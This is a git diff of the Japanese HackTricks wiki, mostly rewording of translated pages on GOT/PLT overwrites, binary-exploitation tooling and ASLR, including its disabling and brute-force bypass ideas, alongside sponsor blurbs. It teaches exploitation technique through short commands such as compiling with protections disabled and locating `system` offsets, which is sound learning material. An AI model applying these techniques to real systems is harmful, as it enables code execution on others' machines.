+WebSecは**すべてを含むセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など、すべてを行います。 -WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、彼らのウェブサイトには「**ハックできなければ、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! +WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持って**おり、そのスキルの最高の品質の結果を保証しています。彼らのウェブサイトには「**ハックできない場合、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください! -上記に加えて、WebSecはHackTricksの**熱心な支持者**でもあります。 +上記に加えて、WebSecは**HackTricksの熱心な支持者**でもあります。 {% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %} ### [WhiteIntel](https://whiteintel.io) - + -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されていないかをチェックする**無料**機能を提供しています。 +[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業や顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: +彼らのウェブサイトをチェックして、彼らのエンジンを**無料**で試すことができます: {% embed url="https://whiteintel.io" %} ## ライセンスと免責事項 -彼らをチェックしてください: +以下で確認してください: {% content-ref url="welcome/hacktricks-values-and-faq.md" %} [hacktricks-values-and-faq.md](welcome/hacktricks-values-and-faq.md) @@ -150,9 +150,9 @@ WhiteIntelの主な目標は、情報窃取マルウェアによるアカウン HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** +* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 diff --git a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md index 8d921a649..afe1be26a 100644 --- a/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md +++ b/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md @@ -2,15 +2,15 @@ -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 @@ -18,49 +18,49 @@ HackTricksをサポートする他の方法: ### **GOT: Global Offset Table** -**Global Offset Table (GOT)** は、動的リンクされたバイナリで**外部関数のアドレスを管理するメカニズム**です。これらの**アドレスは実行時までわからない**ため(動的リンクのため)、GOTはこれらの外部シンボルのアドレスを**動的に更新する方法**を提供します。 +**Global Offset Table (GOT)** は、動的リンクされたバイナリで**外部関数のアドレスを管理する**ために使用されるメカニズムです。これらの**アドレスは実行時にはわかりません**(動的リンクのため)、GOTはこれらの外部シンボルのアドレスを**解決した後に動的に更新する方法**を提供します。 -GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応しています。**関数が最初に呼び出されると、動的リンカによって実際のアドレスが解決され、GOTに格納されます**。同じ関数への後続の呼び出しでは、GOTに格納されたアドレスが使用され、アドレスを再度解決するオーバーヘッドが回避されます。 +GOTの各エントリは、バイナリが呼び出す可能性のある外部ライブラリのシンボルに対応します。**関数が最初に呼び出されると、その実際のアドレスが動的リンカによって解決され、GOTに格納されます**。同じ関数への後続の呼び出しでは、GOTに格納されたアドレスが使用され、アドレスを再度解決するオーバーヘッドが回避されます。 ### **PLT: Procedure Linkage Table** -**Procedure Linkage Table (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するトランポリンとして機能します。バイナリが**外部関数を最初に呼び出すと、その関数に関連するPLTエントリに制御が渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合に動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。 +**Procedure Linkage Table (PLT)** はGOTと密接に連携し、外部関数への呼び出しを処理するトランポリンとして機能します。バイナリが**外部関数を最初に呼び出すと、その関数に関連するPLTのエントリに制御が渡されます**。このPLTエントリは、関数のアドレスがまだ解決されていない場合に、動的リンカを呼び出してアドレスを解決する責任があります。アドレスが解決された後、それは**GOT**に格納されます。 -**したがって、**外部関数や変数のアドレスが解決されると、GOTエントリが直接使用されます。**PLTエントリは、**これらのアドレスの初期解決**を動的リンカを介して容易にするために使用されます。 +**したがって、**外部関数や変数のアドレスが解決されると、GOTエントリが直接使用されます。**PLTエントリは、これらのアドレスの初期解決**を動的リンカを介して容易にするために使用されます。 ## 実行を取得 ### GOTを確認する -**`objdump -s -j .got ./exec`** を使用してGOTテーブルへのアドレスを取得します +**`objdump -s -j .got ./exec`** を使用してGOTテーブルへのアドレスを取得します。 -![](<../../.gitbook/assets/image (118).png>) +![](<../../.gitbook/assets/image (121).png>) GEFで**実行可能ファイル**を**ロード**した後、**GOTにある関数**を**見る**ことができます:`gef➤ x/20x 0xDIR_GOT` ![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>) -GEFを使用して**デバッグ**セッションを開始し、**`got`**を実行してGOTテーブルを表示できます: +GEFを使用して**デバッグ**セッションを開始し、**`got`** を実行してGOTテーブルを表示できます: -![](<../../.gitbook/assets/image (493).png>) +![](<../../.gitbook/assets/image (496).png>) ### GOT2Exec -バイナリ内のGOTには、**関数のアドレスまたは**関数アドレスをロードする**PLT**セクションへのアドレスが含まれています。この任意の書き込みの目標は、後で**`system`** **関数のPLTのアドレス**である**関数のGOTエントリを上書きする**ことです。 +バイナリ内のGOTには、**関数のアドレスまたは**後で実行される**PLT**セクションへの**アドレス**が含まれています。この任意の書き込みの目標は、後で**実行される関数のGOTエントリ**を**`system`** **関数のPLTのアドレス**に**上書きする**ことです。 理想的には、**制御可能なパラメータで呼び出される関数**の**GOT**を**上書き**します(したがって、システム関数に送信されるパラメータを制御できます)。 -**`system`** **がスクリプトで使用されていない**場合、システム関数にはPLTにエントリがありません。このシナリオでは、まず`system`関数のアドレスをリークしてから、GOTをこのアドレスを指すように上書きする必要があります。 +**`system`** **がスクリプトで使用されていない**場合、システム関数にはPLTにエントリがありません。このシナリオでは、まず`system`関数のアドレスをリークしてから、GOTをそのアドレスを指すように上書きする必要があります。 -**`objdump -j .plt -d ./vuln_binary`** を使用してPLTアドレスを確認できます +**`objdump -j .plt -d ./vuln_binary`** でPLTのアドレスを確認できます。 ## libcのGOTエントリ -**libcのGOT**は通常、**部分的なRELRO**でコンパイルされており、そのアドレスを特定できれば([**ASLR**](../common-binary-protections-and-bypasses/aslr/))この攻撃の良いターゲットになります。 +**libcのGOT**は通常、**部分的なRELRO**でコンパイルされており、そのアドレスを特定できれば([**ASLR**](../common-binary-protections-and-bypasses/aslr/))この攻撃の対象となります。 libcの一般的な関数は、コード実行を取得するために上書きできるように、他の内部関数を呼び出すことがあります。 -[**このテクニックについての詳細はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を見つけてください。 +[**このテクニックについての詳細はこちら**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)を参照してください。 ## **One Gadget** @@ -70,7 +70,7 @@ libcの一般的な関数は、コード実行を取得するために上書き ## **保護** -**Full RELRO** 保護は、バイナリが起動されるとすべての関数のアドレスを解決し、その後**GOTテーブルを読み取り専用**にすることで、この種のテクニックに対抗するために意図されています: +**Full RELRO** 保護は、バイナリが起動されるとすべての関数のアドレスを解決し、**GOTテーブルを読み取り専用**にすることで、この種のテクニックに対抗するために意図されています: {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} [relro.md](../common-binary-protections-and-bypasses/relro.md) @@ -83,14 +83,14 @@ libcの一般的な関数は、コード実行を取得するために上書き -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見る +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見る * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。** -* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。 diff --git a/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md b/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md index 329ef3d08..d433e176f 100644 --- a/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md +++ b/binary-exploitation/basic-binary-exploitation-methodology/tools/README.md @@ -2,15 +2,15 @@ -ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! +ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**@hacktricks\_live**をフォローする -* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** +* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 で **@hacktricks\_live** をフォローする +* **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに @@ -90,7 +90,7 @@ x/i $eip # Instructions of the EIP ``` ### [GEF](https://github.com/hugsy/gef) -[**GEFのこのフォーク**](https://github.com/bata24/gef)を使用することもできます。これにはより興味深い命令が含まれています。 +[**このGEFのフォーク**](https://github.com/bata24/gef)を使用することもできます。これにはより興味深い命令が含まれています。 ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -135,19 +135,19 @@ gef➤ pattern search 0x6261617762616176 ``` ### テクニック -#### GDBでの同じアドレス +#### GDBで同じアドレス -デバッグ中には、GDBは**実行時にバイナリが使用するアドレスとはわずかに異なる場合があります。** GDBに同じアドレスを持たせるには、次のようにします: +デバッグ中には、GDBは**実行時にバイナリで使用されるアドレスとはわずかに異なる場合があります。** GDBに同じアドレスを持たせるには、次のようにします: -* `unset env LINES` -* `unset env COLUMNS` -* `set env _=` _バイナリの絶対パスを入力します_ -* 同じ絶対パスを使用してバイナリをエクスプロイトします -* GDBを使用するときとバイナリをエクスプロイトするときには、`PWD`と`OLDPWD`が同じである必要があります +- `unset env LINES` +- `unset env COLUMNS` +- `set env _=` _バイナリへの絶対パスを入力します_ +- 同じ絶対パスを使用してバイナリをエクスプロイトします +- GDBを使用しているときとバイナリをエクスプロイトしているときには、`PWD`と`OLDPWD`が同じである必要があります #### 関数呼び出しを見つけるためのバックトレース -**静的リンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**かもしれません。\ +**静的にリンクされたバイナリ**の場合、すべての関数はバイナリに属しています(外部ライブラリではありません)。この場合、**バイナリがユーザー入力を要求するためにたどるフローを特定するのは難しい**でしょう。\ **gdb**を使用してバイナリを実行し、入力を求められるまで実行します。その後、**CTRL+C**で停止し、**`bt`**(**バックトレース**)コマンドを使用して呼び出された関数を確認できます: ``` gef➤ bt @@ -165,11 +165,11 @@ gef➤ bt ### スタックオフセットの検索 -**Ghidra** は、**ローカル変数の位置に関する情報**によって、**バッファオーバーフローのオフセットを見つけるのに非常に役立ちます。**\ -たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリークッキーである場合、`local_bc` からそれを上書きするためのオフセットは `0xac` であることを示しています。\ +**Ghidra** は、**ローカル変数の位置情報によってバッファオーバーフローのための** **オフセット** を見つけるのに非常に役立ちます。\ +たとえば、以下の例では、`local_bc` でのバッファフローは、`0xbc` のオフセットが必要であることを示しています。さらに、`local_10` がキャナリーコンキーである場合、`local_bc` からそれを上書きするためのオフセットは `0xac` であることを示しています。\ _RIP が保存される最初の 0x08 が RBP に属していることを覚えておいてください。_ -![](<../../../.gitbook/assets/image (1058).png>) +![](<../../../.gitbook/assets/image (1061).png>) ## qtool ```bash @@ -179,13 +179,13 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ## GCC -**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護機能を無効にしてコンパイル\ +**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 保護を無効にしてコンパイル\ **-o** --> 出力\ **-g** --> コードを保存(GDB で表示可能)\ -**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効化 +**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux で ASLR を無効にする **シェルコードをコンパイルする方法:**\ -**nasm -f elf assembly.asm** --> ".o" ファイルを返す\ +**nasm -f elf assembly.asm** --> ".o" を返す\ **ld assembly.o -o shellcodeout** --> 実行可能ファイル ## Objdump @@ -198,7 +198,7 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog **-s -j .got** --> got セクション\ \-D -s -j .plt --> plt セクションを逆コンパイル\ **-TR** --> リロケーション\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" のアドレスを変更するためのアドレス\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> GOT 内の "puts" の変更するアドレス\ **objdump -D ./exec | grep "VAR\_NAME"** --> 静的変数のアドレス(これらは DATA セクションに保存されます)。 ## Core dumps @@ -207,9 +207,9 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog 2. `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` を実行します 3. `sudo gdb --core=\ --quiet` を実行します -## More +## その他 -**ldd executable | grep libc.so.6** --> アドレス(ASLR の場合、これは毎回変わります)\ +**ldd executable | grep libc.so.6** --> アドレス(ASLR の場合、毎回変わります)\ **for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> アドレスが大幅に変化するかどうかを確認するためのループ\ **readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" のオフセット\ **strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" のオフセット @@ -226,24 +226,22 @@ qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ### リモートLinuxでのデバッグ -IDAフォルダー内には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、`linux_server`または`linux_server64`バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダー内で実行します: +IDAフォルダの中には、Linux内のバイナリをデバッグするために使用できるバイナリが含まれています。これを行うには、`linux_server`または`linux_server64`バイナリをLinuxサーバー内に移動し、バイナリが含まれるフォルダ内で実行します。 ``` ./linux_server64 -Ppass ``` -Debugger (linux remote) --> プロセスのオプション...を構成します: +その後、デバッガーを設定します:デバッガー(linux remote)→プロセスオプション...: -![](<../../../.gitbook/assets/image (855).png>) +![](<../../../.gitbook/assets/image (858).png>) -htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ! +htARTE(HackTricks AWS Red Team Expert)でゼロからヒーローまでAWSハッキングを学ぶ -HackTricks をサポートする他の方法: +HackTricksをサポートする他の方法: -* **会社を HackTricks で宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! -* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける -* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする -* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。 - - +* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する +* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index c7ba09e8f..b38145b94 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -6,25 +6,25 @@ HackTricks をサポートする他の方法: -* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手してください -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見してください -* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。 -* **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出してください。** +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で **@hacktricks\_live**をフォローしてください**.** +* **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献してください。 ## 基本情報 -**アドレススペースレイアウトランダム化(ASLR)** は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスが使用するメモリアドレスを**ランダム化**するものです。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。 +**アドレススペースレイアウトランダム化(ASLR)**は、オペレーティングシステムで使用されるセキュリティ技術で、システムおよびアプリケーションプロセスで使用されるメモリアドレスを**ランダム化**します。これにより、特定のプロセスやデータ(スタック、ヒープ、ライブラリなど)の場所を予測することが非常に困難になり、特にバッファオーバーフローなどの特定の種類のエクスプロイトを軽減します。 ### **ASLRステータスの確認** -LinuxシステムでASLRステータスを**確認**するには、**`/proc/sys/kernel/randomize_va_space`** ファイルから値を読み取ることができます。このファイルに格納されている値は、適用されているASLRのタイプを決定します: +LinuxシステムでASLRステータスを**確認**するには、**`/proc/sys/kernel/randomize_va_space`**ファイルから値を読み取ります。このファイルに格納されている値は、適用されているASLRのタイプを決定します: * **0**: ランダム化なし。すべてが静的です。 * **1**: 保守的なランダム化。共有ライブラリ、スタック、mmap()、VDSOページがランダム化されます。 -* **2**: 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、`brk()` を介して管理されるメモリもランダム化されます。 +* **2**: 完全なランダム化。保守的なランダム化によってランダム化される要素に加えて、`brk()`を介して管理されるメモリもランダム化されます。 次のコマンドでASLRステータスを確認できます: ```bash @@ -32,34 +32,34 @@ cat /proc/sys/kernel/randomize_va_space ``` ### **ASLRの無効化** -ASLRを**無効**にするには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されていません。以下は、ASLRを無効にする方法です: +ASLRを**無効化**するには、`/proc/sys/kernel/randomize_va_space`の値を**0**に設定します。ASLRを無効にすることは、通常、テストやデバッグシナリオ以外では推奨されません。以下は、無効化する方法です: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` -ASLRを無効にするには、次のように実行できます: +次のようにして、実行時にASLRを無効にすることもできます: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **ASLRの有効化** -ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに値**2**を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します: +ASLRを**有効化**するには、`/proc/sys/kernel/randomize_va_space`ファイルに値**2**を書き込むことができます。通常、ルート権限が必要です。完全なランダム化を有効にするには、次のコマンドを使用します: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **再起動時の持続性** -`echo`コマンドで行った変更は一時的であり、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf`ファイルを編集し、以下の行を追加または変更する必要があります。 +`echo`コマンドで行った変更は一時的で、再起動時にリセットされます。変更を持続させるには、`/etc/sysctl.conf`ファイルを編集し、以下の行を追加または変更する必要があります: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` -`/etc/sysctl.conf`を編集した後、次のコマンドを使用して変更を適用します: +`/etc/sysctl.conf`を編集した後、次のコマンドを使用して変更を適用します: ```bash sudo sysctl -p ``` -これにより、ASLR設定が再起動時に維持されます。 +これにより、ASLR設定が再起動時にも維持されます。 ## **バイパス** @@ -67,30 +67,30 @@ sudo sysctl -p PaXはプロセスのアドレス空間を**3つのグループ**に分割します: -* **コードとデータ**(初期化されたものと初期化されていないもの):`.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。 -* `mmap()`によって割り当てられた**メモリ**および**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 -* **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**(10番目から20番目のバイトを含む)が使用され、**16バイト**に整列されます —> これにより**524,288個の可能な実際のスタックアドレス**が得られます。 +* **コードとデータ**(初期化されたものと初期化されていないもの): `.text`、`.data`、および`.bss` —> `delta_exec`変数に**16ビット**のエントロピーがあります。この変数は各プロセスでランダムに初期化され、初期アドレスに追加されます。 +* `mmap()`によって割り当てられた**メモリ**と**共有ライブラリ** —> **16ビット**、`delta_mmap`と呼ばれます。 +* **スタック** —> **24ビット**、`delta_stack`と呼ばれます。ただし、実際には**11ビット**(10番目から20番目のバイトを含む)を使用し、**16バイト**に整列されます —> これにより**524,288個の可能な実際のスタックアドレス**が得られます。 -前述のデータは32ビットシステム向けであり、削減された最終エントロピーにより、ASLRをバイパスすることが可能になります。攻撃が成功するまで実行を繰り返すことで、ASLRをバイパスすることができます。 +前述のデータは32ビットシステム向けであり、最終的なエントロピーの削減により、ASLRをバイパスすることが可能になります。攻撃が成功するまで、実行を繰り返すことで、ASLRをバイパスすることができます。 #### ブルートフォースのアイデア: * **シェルコードの前に大きなNOPスレッドをホストするほどのオーバーフローがある場合**、スタック上のアドレスをブルートフォースして、フローが**NOPスレッドの一部を飛び越える**まで繰り返すことができます。 -* オーバーフローがそれほど大きくなく、攻撃をローカルで実行できる場合、**環境変数にNOPスレッドとシェルコードを追加**することができます。 +* オーバーフローがそれほど大きくなく、攻撃をローカルで実行できる場合は、**環境変数にNOPスレッドとシェルコードを追加**することも可能です。 * 攻撃がローカルである場合、libcのベースアドレスをブルートフォースすることができます(32ビットシステム向けに有用)。 ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**ブルートフォース**して、引数として10を渡すことができます。サーバーが**10秒余分に応答する**ようになったら、この関数のアドレスを見つけました。 +* リモートサーバーを攻撃する場合、`libc`関数`usleep`のアドレスを**ブルートフォース**して、引数として10を渡すことができます。サーバーが**応答に10秒追加でかかる**場合、この関数のアドレスを見つけました。 {% hint style="success" %} 